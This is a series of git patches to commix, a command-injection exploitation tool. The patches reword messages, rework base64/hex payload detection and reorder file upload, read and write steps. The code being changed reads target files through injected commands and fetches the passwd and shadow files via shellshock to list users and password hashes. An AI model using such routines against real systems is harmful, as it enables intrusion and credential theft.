@@ -61,20 +61,20 @@ def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec,
if settings.VERBOSITY_LEVEL == 0 and _:
print(settings.SINGLE_WHITESPACE)
if shell:
- info_msg = "Content of file '"
- info_msg += file_to_read + "' has been extracted."
+ info_msg = "Fetched content of the file '"
+ info_msg += file_to_read + "'."
print(settings.print_bold_info_msg(info_msg))
print(settings.print_sub_content(shell))
output_file = open(filename, "a")
if not menu.options.no_logging:
- info_msg = "Extracted content of file '"
+ info_msg = "Extracted content of the file '"
info_msg += file_to_read + "' : " + shell + ".\n"
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
else:
sys.stdout.flush()
warn_msg = "It seems that you don't have permissions "
- warn_msg += "to read the content of file '" + file_to_read + "'."
+ warn_msg += "to read the content of the file '" + file_to_read + "'."
print(settings.print_warning_msg(warn_msg))
"""
@@ -104,7 +104,7 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec,
else:
dest_to_write = menu.options.file_dest
- info_msg = "Trying to write content of file '"
+ info_msg = "Trying to write the content of the file '"
info_msg += file_to_write + "' on a remote directory '" + dest_to_write + "'."
print(settings.print_info_msg(info_msg))
diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py
index adbd108bc1..cb9a1918f6 100755
--- a/src/core/modules/shellshock/shellshock.py
+++ b/src/core/modules/shellshock/shellshock.py
@@ -185,8 +185,8 @@ def enumeration(url, cve, check_header, filename):
if menu.options.users:
cmd = settings.SYS_USERS
sys_users, payload = cmd_exec(url, cmd, cve, check_header, filename)
- info_msg = "Fetching '" + settings.PASSWD_FILE
- info_msg += "' to enumerate users entries. "
+ info_msg = "Fetching the content of the file '" + settings.PASSWD_FILE
+ info_msg += "' in order to enumerate users entries. "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
try:
@@ -280,8 +280,8 @@ def enumeration(url, cve, check_header, filename):
else:
sys.stdout.write(settings.FAIL_STATUS)
sys.stdout.flush()
- warn_msg = "It seems that you don't have permissions to read '"
- warn_msg += settings.PASSWD_FILE + "' to enumerate users entries."
+ warn_msg = "It seems that you don't have permissions to read the '"
+ warn_msg += settings.PASSWD_FILE + "'."
print("\n" + settings.print_warning_msg(warn_msg))
except TypeError:
sys.stdout.write(settings.FAIL_STATUS + "\n")
@@ -291,7 +291,7 @@ def enumeration(url, cve, check_header, filename):
except IndexError:
sys.stdout.write(settings.FAIL_STATUS)
warn_msg = "Some kind of WAF/IPS/IDS probably blocks the attempt to read '"
- warn_msg += settings.PASSWD_FILE + "' to enumerate users entries."
+ warn_msg += settings.PASSWD_FILE + "'."
sys.stdout.write("\n" + settings.print_warning_msg(warn_msg))
sys.stdout.flush()
pass
@@ -308,8 +308,8 @@ def enumeration(url, cve, check_header, filename):
sys_passes = sys_passes.replace(" ", "\n")
sys_passes = sys_passes.split( )
if len(sys_passes) != 0 :
- info_msg = "Fetching '" + settings.SHADOW_FILE
- info_msg += "' to enumerate users password hashes. "
+ info_msg = "Fetching the content of the file '" + settings.SHADOW_FILE
+ info_msg += "' in order to enumerate users password hashes. "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
sys.stdout.write(settings.SUCCESS_STATUS)
@@ -349,8 +349,8 @@ def enumeration(url, cve, check_header, filename):
output_file.write(" " + fields[0])
output_file.close()
else:
- warn_msg = "It seems that you don't have permissions to read '"
- warn_msg += settings.SHADOW_FILE + "' to enumerate users password hashes."
+ warn_msg = "It seems that you don't have permissions to read the '"
+ warn_msg += settings.SHADOW_FILE + "' file."
print(settings.print_warning_msg(warn_msg))
settings.ENUMERATION_DONE = True
@@ -464,13 +464,13 @@ def file_access(url, cve, check_header, filename):
cmd = "cat " + settings.FILE_READ + file_to_read
shell, payload = cmd_exec(url, cmd, cve, check_header, filename)
if shell:
- info_msg = "Content of file '"
- info_msg += file_to_read + "' has been extracted."
+ info_msg = "Fetched content of the file '"
+ info_msg += file_to_read + "'."
print(settings.print_bold_info_msg(info_msg))
print(settings.print_sub_content(shell))
output_file = open(filename, "a")
if not menu.options.no_logging:
- info_msg = "Extracted content of file '"
+ info_msg = "Extracted content of the file '"
info_msg += file_to_read + "' : " + shell + ".\n"
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 6dde46d08d..bf4d87735a 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -230,7 +230,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.5"
-REVISION = "45"
+REVISION = "46"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From f80ed3e67b4c1c33000d355195a652328c71234a Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Fri, 29 Apr 2022 07:17:58 +0300
Subject: [PATCH 123/560] Minor improvement regarding identifying 'hex' and/or
'base64' encoded parameter(s) value(s).
---
doc/CHANGELOG.md | 1 +
src/core/injections/controller/checks.py | 41 +++++++++++++-------
src/core/injections/controller/controller.py | 5 +++
src/core/requests/parameters.py | 4 ++
src/utils/settings.py | 6 ++-
5 files changed, 41 insertions(+), 16 deletions(-)
diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md
index cc35e5fdf1..3f693d5d54 100755
--- a/doc/CHANGELOG.md
+++ b/doc/CHANGELOG.md
@@ -1,4 +1,5 @@
## Version 3.5 (TBA)
+* Revised: Minor improvement regarding identifying 'hex' and/or 'base64' encoded parameter(s) value(s).
* Added: New option `--no-logging` for disabling logging to a file.
* Revised: Minor improvement regarding redirect handler.
* Updated: Minor update regarding scanning multiple targets given in a textual file (i.e. via option `-m`).
diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py
index 74998f7872..4a2482b96d 100755
--- a/src/core/injections/controller/checks.py
+++ b/src/core/injections/controller/checks.py
@@ -1008,16 +1008,15 @@ def tamper_scripts(stored_tamper_scripts):
if "hexencode" or "base64encode" == script:
settings.MULTI_ENCODED_PAYLOAD.append(script)
import_script = str(settings.TAMPER_SCRIPTS_PATH + script + ".py").replace("/",".").split(".py")[0]
- print(settings.SUB_CONTENT_SIGN + import_script.split(".")[3])
+ print(settings.SUB_CONTENT_SIGN + import_script.split(".")[-1])
try:
module = __import__(import_script, fromlist=[None])
if not hasattr(module, "__tamper__"):
err_msg = "Missing variable '__tamper__' "
- err_msg += "in tamper script '" + import_script.split(".")[0] + "'."
+ err_msg += "in tamper script '" + import_script.split(".")[-1] + "'."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
except ImportError as err_msg:
- print(settings.print_error_msg(str(err_msg) + "."))
pass
# Using too many tamper scripts is usually not a good idea. :P
@@ -1235,25 +1234,39 @@ def recognise_payload(payload):
payload = sleep2timeout.tamper(payload)
is_decoded = False
- if (len(payload) % 4 == 0) and \
- re.match(settings.BASE64_RECOGNITION_REGEX, payload) and \
- not re.match(settings.HEX_RECOGNITION_REGEX, payload):
+ encoded_with = ""
+ check_value = payload
+
+ if not re.match(settings.HEX_RECOGNITION_REGEX, check_value):
+ if re.match(settings.BASE64_RECOGNITION_REGEX, check_value + settings.BASE64_PADDING ) and not settings.BASE64_PADDING in check_value:
+ check_value = payload + settings.BASE64_PADDING
+
+ if (len(check_value.strip()) % 4 == 0) and \
+ re.match(settings.BASE64_RECOGNITION_REGEX, check_value) and \
+ not re.match(settings.HEX_RECOGNITION_REGEX, check_value):
is_decoded = True
settings.MULTI_ENCODED_PAYLOAD.append("base64encode")
- decoded_payload = base64.b64decode(payload)
- if re.match(settings.HEX_RECOGNITION_REGEX, payload):
+ decoded_payload = base64.b64decode(check_value)
+ encoded_with = "base64"
+ if re.match(settings.HEX_RECOGNITION_REGEX, check_value):
settings.MULTI_ENCODED_PAYLOAD.append("hexencode")
decoded_payload = hexdecode(decoded_payload)
+ encoded_with = "hex"
- elif re.match(settings.HEX_RECOGNITION_REGEX, payload):
+ elif re.match(settings.HEX_RECOGNITION_REGEX, check_value):
is_decoded = True
settings.MULTI_ENCODED_PAYLOAD.append("hexencode")
- decoded_payload = hexdecode(payload)
- if (len(payload) % 4 == 0) and \
+ decoded_payload = hexdecode(check_value)
+ encoded_with = "hex"
+ if (len(check_value.strip()) % 4 == 0) and \
re.match(settings.BASE64_RECOGNITION_REGEX, decoded_payload) and \
not re.match(settings.HEX_RECOGNITION_REGEX, decoded_payload):
settings.MULTI_ENCODED_PAYLOAD.append("base64encode")
decoded_payload = base64.b64decode(decoded_payload)
+ encoded_with = "base64"
+
+ else:
+ decoded_payload = payload
for encode_type in settings.MULTI_ENCODED_PAYLOAD:
# Encode payload to base64 format.
@@ -1264,15 +1277,15 @@ def recognise_payload(payload):
hex_output(payload)
if is_decoded:
- return _urllib.parse.quote(decoded_payload)
+ return _urllib.parse.quote(decoded_payload), encoded_with
else:
- return payload
+ return payload, encoded_with
"""
Check for stored payloads and enable tamper scripts.
"""
def check_for_stored_tamper(payload):
- decoded_payload = recognise_payload(payload)
+ decoded_payload, encoded_with = recognise_payload(payload)
whitespace_check(decoded_payload)
other_symbols(decoded_payload)
check_quotes(decoded_payload)
diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py
index 6ba341de85..07217d8538 100644
--- a/src/core/injections/controller/controller.py
+++ b/src/core/injections/controller/controller.py
@@ -372,6 +372,11 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time
debug_msg = "Skipping heuristic (basic) tests to the target URL."
print(settings.print_debug_msg(debug_msg))
else:
+ decoded_value, decoded_with = checks.recognise_payload(payload=settings.TESTABLE_VALUE)
+ if settings.TESTABLE_VALUE != decoded_value and len(decoded_with) != 0:
+ warn_msg = "The provided parameter appears to be '" + str(decoded_with) + "' encoded."
+ print(settings.print_warning_msg(warn_msg))
+
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Performing heuristic (basic) tests to the target URL."
print(settings.print_debug_msg(debug_msg))
diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py
index d031a0e1ba..cdfac48053 100755
--- a/src/core/requests/parameters.py
+++ b/src/core/requests/parameters.py
@@ -172,6 +172,8 @@ def vuln_GET_param(url):
if settings.INJECT_TAG in pairs[param]:
vuln_parameter = pairs[param].split("=")[0]
settings.TESTABLE_VALUE = pairs[param].split("=")[1].replace(settings.INJECT_TAG,"")
+ if settings.BASE64_PADDING in pairs[param]:
+ settings.TESTABLE_VALUE = settings.TESTABLE_VALUE + settings.BASE64_PADDING
break
else:
@@ -373,6 +375,8 @@ def vuln_POST_param(parameter, url):
if settings.INJECT_TAG in pairs[param]:
vuln_parameter = pairs[param].split("=")[0]
settings.TESTABLE_VALUE = pairs[param].split("=")[1].replace(settings.INJECT_TAG,"")
+ if settings.BASE64_PADDING in pairs[param]:
+ settings.TESTABLE_VALUE = settings.TESTABLE_VALUE + settings.BASE64_PADDING
break
if 'vuln_parameter' not in locals():
diff --git a/src/utils/settings.py b/src/utils/settings.py
index bf4d87735a..5cf500bd15 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -230,7 +230,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.5"
-REVISION = "46"
+REVISION = "47"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
@@ -1058,7 +1058,7 @@ def sys_argv_errors():
GOOGLE_ANALYTICS_COOKIE_PREFIX = "__UTM"
# Default path for tamper scripts
-TAMPER_SCRIPTS_PATH = os.path.abspath(os.path.join(os.path.dirname(__file__), '../',"core/tamper/"))
+TAMPER_SCRIPTS_PATH = os.path.abspath(os.path.join(os.path.dirname(__file__), '../',"core/tamper/")) + "/"
# Default path for settings.py file
SETTINGS_PATH = os.path.abspath("src/utils/settings.py")
@@ -1097,4 +1097,6 @@ def sys_argv_errors():
# Identified Redirect code
REDIRECT_CODE = ""
+
+BASE64_PADDING = "=="
# eof
\ No newline at end of file
From 635240bf9b7199d8d9b9bb4e462dc72e140d7036 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Sat, 30 Apr 2022 09:38:18 +0300
Subject: [PATCH 124/560] Minor bug-fix regarding `--file-upload` option.
---
doc/CHANGELOG.md | 1 +
src/utils/settings.py | 2 +-
src/utils/simple_http_server.py | 11 ++++++-----
3 files changed, 8 insertions(+), 6 deletions(-)
diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md
index 3f693d5d54..d7fca13ba6 100755
--- a/doc/CHANGELOG.md
+++ b/doc/CHANGELOG.md
@@ -1,4 +1,5 @@
## Version 3.5 (TBA)
+* Revised: Minor bug-fix regarding `--file-upload` option.
* Revised: Minor improvement regarding identifying 'hex' and/or 'base64' encoded parameter(s) value(s).
* Added: New option `--no-logging` for disabling logging to a file.
* Revised: Minor improvement regarding redirect handler.
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 5cf500bd15..bd646e854e 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -230,7 +230,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.5"
-REVISION = "47"
+REVISION = "48"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
diff --git a/src/utils/simple_http_server.py b/src/utils/simple_http_server.py
index 4306f5145b..c4b231ee99 100644
--- a/src/utils/simple_http_server.py
+++ b/src/utils/simple_http_server.py
@@ -89,12 +89,13 @@ def do_GET(self):
f = open(self.path)
self.send_response(200)
self.end_headers()
- self.wfile.write(f.read())
- f.close()
+ self.wfile.write(f.read().encode())
+ return
+
+ except Exception:
+ error_response = settings.APPLICATION + " " + settings.VERSION + " (https://commixproject.com)"
+ self.wfile.write(error_response.encode())
- except IOError:
- self.wfile.write(settings.APPLICATION + " " + settings.VERSION + " (https://commixproject.com)")
-
def log_message(self, format, *args):
return
From ed9a61bf8f97dd4b27d3b9964687611a599cb392 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Sun, 1 May 2022 09:16:36 +0300
Subject: [PATCH 125/560] Fixes
https://github.com/commixproject/commix/issues/761
https://github.com/commixproject/commix/issues/762
https://github.com/commixproject/commix/issues/763 & multiple other fixes /
updates
---
src/core/convert.py | 21 ++++++-
src/core/enums.py | 58 ++++++++++++++++++
.../techniques/time_based/tb_enumeration.py | 2 +-
.../techniques/time_based/tb_file_access.py | 31 ++++------
src/core/injections/controller/checks.py | 59 +++++++++++--------
.../techniques/classic/cb_file_access.py | 26 ++++----
.../techniques/eval_based/eb_file_access.py | 16 ++---
.../techniques/file_based/fb_file_access.py | 19 +++---
.../tempfile_based/tfb_enumeration.py | 2 +-
.../tempfile_based/tfb_file_access.py | 26 ++++----
.../techniques/tempfile_based/tfb_injector.py | 6 +-
src/core/requests/headers.py | 18 +++---
src/core/tamper/hexencode.py | 5 +-
src/utils/settings.py | 37 ++++++++++--
src/utils/simple_http_server.py | 6 +-
15 files changed, 212 insertions(+), 120 deletions(-)
create mode 100644 src/core/enums.py
diff --git a/src/core/convert.py b/src/core/convert.py
index 4a14cf9f99..fad3bae9d9 100644
--- a/src/core/convert.py
+++ b/src/core/convert.py
@@ -14,19 +14,33 @@
"""
import codecs
+import binascii
from src.utils import settings
from src.thirdparty import six
+"""
+Decode string for hex
+"""
def hexdecode(value):
if value.lower().startswith("0x"):
value = value[2:]
try:
value = codecs.decode(''.join(value.split()), "hex")
+ except binascii.Error:
+ _ = False
+ return value, _
except LookupError:
value = binascii.unhexlify(value)
- value = value.decode(settings.DEFAULT_CODEC)
- return value
+ try:
+ value = value.decode(settings.DEFAULT_CODEC)
+ _ = True
+ except:
+ _ = False
+ return value, _
+"""
+Encode string to hex
+"""
def hexencode(value):
if isinstance(value, six.text_type):
value = value.encode(settings.DEFAULT_CODEC)
@@ -35,5 +49,6 @@ def hexencode(value):
except LookupError:
value = binascii.hexlify(value)
value = value.decode(settings.DEFAULT_CODEC)
- return value
+ _ = True
+ return value, _
diff --git a/src/core/enums.py b/src/core/enums.py
new file mode 100644
index 0000000000..30f2b608f7
--- /dev/null
+++ b/src/core/enums.py
@@ -0,0 +1,58 @@
+#!/usr/bin/env python
+# encoding: UTF-8
+
+"""
+This file is part of Commix Project (https://commixproject.com).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
+
+This program is free software: you can redistribute it and/or modify
+it under the terms of the GNU General Public License as published by
+the Free Software Foundation, either version 3 of the License, or
+(at your option) any later version.
+
+For more see the file 'readme/COPYING' for copying permission.
+"""
+
+import re
+import os
+import sys
+from src.utils import settings
+
+"""
+Runs the basic smoke testing
+"""
+def smoke_test():
+ info_msg = "Executing smoke test."
+ print(settings.print_info_msg(info_msg))
+
+ _ = True
+ file_paths = []
+ for root, directories, filenames in os.walk(settings.COMMIX_ROOT_PATH):
+ file_paths.extend([os.path.abspath(os.path.join(root, i)) for i in filenames])
+
+ for filename in file_paths:
+ if os.path.splitext(filename)[1].lower() == ".py" and not "__init__.py" in filename:
+ path = os.path.join(settings.COMMIX_ROOT_PATH, os.path.splitext(filename)[0])
+ path = path.replace(settings.COMMIX_ROOT_PATH, '.')
+ path = path.replace(os.sep, '.').lstrip('.')
+ if "." in path:
+ try:
+ __import__(path)
+ if settings.VERBOSITY_LEVEL != 0:
+ debug_msg = "Succeeded importing '" + str(path) + "' module."
+ print(settings.print_debug_msg(debug_msg))
+ except Exception as ex:
+ error_msg = "Failed importing '" + path + "' module due to '" + str(ex) + "'."
+ print(settings.print_error_msg(error_msg))
+ _ = False
+
+ result = "Smoke test "
+ if _:
+ result = result + "passed."
+ print(settings.print_bold_info_msg(result))
+ else:
+ result = result + "failed."
+ print(settings.print_bold_error_msg(result))
+ raise SystemExit()
+
+
diff --git a/src/core/injections/blind/techniques/time_based/tb_enumeration.py b/src/core/injections/blind/techniques/time_based/tb_enumeration.py
index 5aa19f1969..9b58f69a2b 100755
--- a/src/core/injections/blind/techniques/time_based/tb_enumeration.py
+++ b/src/core/injections/blind/techniques/time_based/tb_enumeration.py
@@ -21,7 +21,7 @@
from src.utils import menu
from src.utils import settings
from src.utils import session_handler
-
+from src.core.injections.controller import checks
from src.thirdparty.colorama import Fore, Back, Style, init
from src.core.injections.blind.techniques.time_based import tb_injector
diff --git a/src/core/injections/blind/techniques/time_based/tb_file_access.py b/src/core/injections/blind/techniques/time_based/tb_file_access.py
index 2a4844396c..0904864d9f 100755
--- a/src/core/injections/blind/techniques/time_based/tb_file_access.py
+++ b/src/core/injections/blind/techniques/time_based/tb_file_access.py
@@ -16,12 +16,10 @@
import re
import os
import sys
-
-
from src.utils import menu
from src.utils import settings
from src.utils import session_handler
-
+from src.thirdparty.six.moves import urllib as _urllib
from src.thirdparty.colorama import Fore, Back, Style, init
from src.core.injections.blind.techniques.time_based import tb_injector
@@ -78,7 +76,6 @@ def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec,
Write to a file on the target host.
"""
def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response):
- _ = True
file_to_write = menu.options.file_write.encode(settings.DEFAULT_CODEC).decode()
if not os.path.exists(file_to_write):
warn_msg = "It seems that the provided local file '" + file_to_write + "', does not exist."
@@ -154,20 +151,21 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec,
shell = "".join(str(p) for p in shell)
except TypeError:
pass
- if settings.VERBOSITY_LEVEL == 0 and _:
+ if settings.VERBOSITY_LEVEL == 0:
print(settings.SINGLE_WHITESPACE)
+ # else:
+ # sys.stdout.flush()
if shell:
info_msg = "The file has been successfully created on remote directory '" + dest_to_write + "'."
print(settings.print_bold_info_msg(info_msg))
else:
- warn_msg = "It seems that you don't have permissions to write the '" + dest_to_write + "' file."
+ warn_msg = "It seems that you don't have permissions to write files on the remote direcoty '" + dest_to_write + "'."
print(settings.print_warning_msg(warn_msg))
"""
Upload a file on the target host.
"""
def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response):
- _ = False
if settings.TARGET_OS == "win":
# Not yet implemented
pass
@@ -194,7 +192,7 @@ def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec
else:
dest_to_upload = menu.options.file_dest
- info_msg = "Trying to upload the file '"
+ info_msg = "Trying to upload the file from '"
info_msg += file_to_upload + "' on a remote directory '" + dest_to_upload + "'."
print(settings.print_info_msg(info_msg))
@@ -215,15 +213,13 @@ def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec
shell = "".join(str(p) for p in shell)
except TypeError:
pass
- if settings.VERBOSITY_LEVEL == 0 and _:
+ if settings.VERBOSITY_LEVEL == 0:
print(settings.SINGLE_WHITESPACE)
if shell:
- sys.stdout.flush()
info_msg = "The file has been successfully uploaded on remote directory '" + dest_to_upload + "'."
print(settings.print_bold_info_msg(info_msg))
else:
- sys.stdout.flush()
- warn_msg = "It seems that you don't have permissions to upload the '" + dest_to_upload + "' file."
+ warn_msg = "It seems that you don't have permissions to upload files on the remote direcoty '" + dest_to_upload + "'."
print(settings.print_warning_msg(warn_msg))
"""
@@ -231,6 +227,11 @@ def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec
"""
def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response):
+ if menu.options.file_upload:
+ file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
+ if settings.FILE_ACCESS_DONE == False:
+ settings.FILE_ACCESS_DONE = True
+
if menu.options.file_read:
file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
if settings.FILE_ACCESS_DONE == False:
@@ -240,10 +241,4 @@ def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, h
file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
if settings.FILE_ACCESS_DONE == False:
settings.FILE_ACCESS_DONE = True
-
- if menu.options.file_upload:
- file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
- if settings.FILE_ACCESS_DONE == False:
- settings.FILE_ACCESS_DONE = True
-
# eof
\ No newline at end of file
diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py
index 4a2482b96d..716c1bddab 100755
--- a/src/core/injections/controller/checks.py
+++ b/src/core/injections/controller/checks.py
@@ -110,7 +110,7 @@ def connection_exceptions(err_msg):
"""
def not_declared_cookies(response):
try:
- candidate = re.search(r'([^;]+);?', response.headers['set-cookie']).group(1)
+ candidate = re.search(r'([^;]+);?', response.headers[settings.SET_COOKIE]).group(1)
if candidate and settings.DECLARED_COOKIES is not False:
settings.DECLARED_COOKIES = True
if settings.CRAWLED_SKIPPED_URLS != 0:
@@ -1237,37 +1237,46 @@ def recognise_payload(payload):
encoded_with = ""
check_value = payload
- if not re.match(settings.HEX_RECOGNITION_REGEX, check_value):
- if re.match(settings.BASE64_RECOGNITION_REGEX, check_value + settings.BASE64_PADDING ) and not settings.BASE64_PADDING in check_value:
- check_value = payload + settings.BASE64_PADDING
-
if (len(check_value.strip()) % 4 == 0) and \
re.match(settings.BASE64_RECOGNITION_REGEX, check_value) and \
not re.match(settings.HEX_RECOGNITION_REGEX, check_value):
- is_decoded = True
- settings.MULTI_ENCODED_PAYLOAD.append("base64encode")
- decoded_payload = base64.b64decode(check_value)
- encoded_with = "base64"
- if re.match(settings.HEX_RECOGNITION_REGEX, check_value):
- settings.MULTI_ENCODED_PAYLOAD.append("hexencode")
- decoded_payload = hexdecode(decoded_payload)
- encoded_with = "hex"
-
+ _payload = base64.b64decode(check_value)
+ try:
+ if not "\\x" in _payload.decode(settings.DEFAULT_CODEC):
+ settings.MULTI_ENCODED_PAYLOAD.append("base64encode")
+ decoded_payload = _payload
+ encoded_with = "base64"
+ if re.match(settings.HEX_RECOGNITION_REGEX, check_value):
+ decoded_payload, _ = hexdecode(decoded_payload)
+ if _:
+ settings.MULTI_ENCODED_PAYLOAD.append("hexencode")
+ encoded_with = "hex"
+ except Exception:
+ pass
+
elif re.match(settings.HEX_RECOGNITION_REGEX, check_value):
- is_decoded = True
- settings.MULTI_ENCODED_PAYLOAD.append("hexencode")
- decoded_payload = hexdecode(check_value)
- encoded_with = "hex"
- if (len(check_value.strip()) % 4 == 0) and \
- re.match(settings.BASE64_RECOGNITION_REGEX, decoded_payload) and \
- not re.match(settings.HEX_RECOGNITION_REGEX, decoded_payload):
- settings.MULTI_ENCODED_PAYLOAD.append("base64encode")
- decoded_payload = base64.b64decode(decoded_payload)
- encoded_with = "base64"
+ decoded_payload, _ = hexdecode(check_value)
+ if _:
+ settings.MULTI_ENCODED_PAYLOAD.append("hexencode")
+ encoded_with = "hex"
+ if (len(check_value.strip()) % 4 == 0) and \
+ re.match(settings.BASE64_RECOGNITION_REGEX, decoded_payload) and \
+ not re.match(settings.HEX_RECOGNITION_REGEX, decoded_payload):
+ _payload = base64.b64decode(check_value)
+ try:
+ if not "\\x" in _payload.decode(settings.DEFAULT_CODEC):
+ settings.MULTI_ENCODED_PAYLOAD.append("base64encode")
+ decoded_payload = _payload
+ encoded_with = "base64"
+ except Exception:
+ pass
else:
decoded_payload = payload
+ if len(encoded_with) != 0:
+ is_decoded = True
+
for encode_type in settings.MULTI_ENCODED_PAYLOAD:
# Encode payload to base64 format.
if encode_type == 'base64encode':
@@ -1637,7 +1646,7 @@ def file_upload():
http_server = "http://" + str(settings.LOCAL_HTTP_IP) + ":" + str(settings.LOCAL_HTTP_PORT)
info_msg = "Setting the HTTP server on '" + http_server + "/'. "
print(settings.print_info_msg(info_msg))
- menu.options.file_upload = http_server + "/" + menu.options.file_upload
+ menu.options.file_upload = http_server + menu.options.file_upload
simple_http_server.main()
break
diff --git a/src/core/injections/results_based/techniques/classic/cb_file_access.py b/src/core/injections/results_based/techniques/classic/cb_file_access.py
index 2e9ecaa27c..886590388d 100755
--- a/src/core/injections/results_based/techniques/classic/cb_file_access.py
+++ b/src/core/injections/results_based/techniques/classic/cb_file_access.py
@@ -16,15 +16,12 @@
import re
import os
import sys
-from src.thirdparty.six.moves import urllib as _urllib
-
-
from src.utils import menu
from src.utils import settings
from src.utils import session_handler
-from src.thirdparty.colorama import Fore, Back, Style, init
-
from src.core.requests import requests
+from src.thirdparty.six.moves import urllib as _urllib
+from src.thirdparty.colorama import Fore, Back, Style, init
from src.core.injections.results_based.techniques.classic import cb_injector
"""
@@ -156,13 +153,13 @@ def file_write(separator, TAG, prefix, suffix, whitespace, http_request_method,
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
shell = cb_injector.injection_results(response, TAG, cmd)
shell = "".join(str(p) for p in shell)
- #if settings.VERBOSITY_LEVEL != 0:
+ # if settings.VERBOSITY_LEVEL != 0:
# print(settings.SINGLE_WHITESPACE)
if shell:
info_msg = "The file has been successfully created on remote directory '" + dest_to_write + "'."
print(settings.print_bold_info_msg(info_msg))
else:
- warn_msg = "It seems that you don't have permissions to write the '" + dest_to_write + "' file."
+ warn_msg = "It seems that you don't have permissions to write files on the remote direcoty '" + dest_to_write + "'."
print(settings.print_warning_msg(warn_msg))
"""
@@ -196,7 +193,7 @@ def file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method,
else:
dest_to_upload = menu.options.file_dest
- info_msg = "Trying to upload the file '"
+ info_msg = "Trying to upload the file from '"
info_msg += file_to_upload + "' on a remote directory '" + dest_to_upload + "'."
print(settings.print_info_msg(info_msg))
@@ -216,13 +213,13 @@ def file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method,
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
shell = cb_injector.injection_results(response, TAG, cmd)
shell = "".join(str(p) for p in shell)
- if settings.VERBOSITY_LEVEL != 0:
- print(settings.SINGLE_WHITESPACE)
+ # if settings.VERBOSITY_LEVEL != 0:
+ # print(settings.SINGLE_WHITESPACE)
if shell:
info_msg = "The file has been successfully uploaded on remote directory '" + dest_to_upload + "'."
print(settings.print_bold_info_msg(info_msg))
else:
- warn_msg = "It seems that you don't have permissions to upload the '" + dest_to_upload + "' file."
+ warn_msg = "It seems that you don't have permissions to upload files on the remote direcoty '" + dest_to_upload + "'."
print(settings.print_warning_msg(warn_msg))
"""
@@ -230,10 +227,6 @@ def file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method,
"""
def do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
- if menu.options.file_write:
- file_write(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
- settings.FILE_ACCESS_DONE = True
-
if menu.options.file_upload:
file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
settings.FILE_ACCESS_DONE = True
@@ -242,4 +235,7 @@ def do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, ur
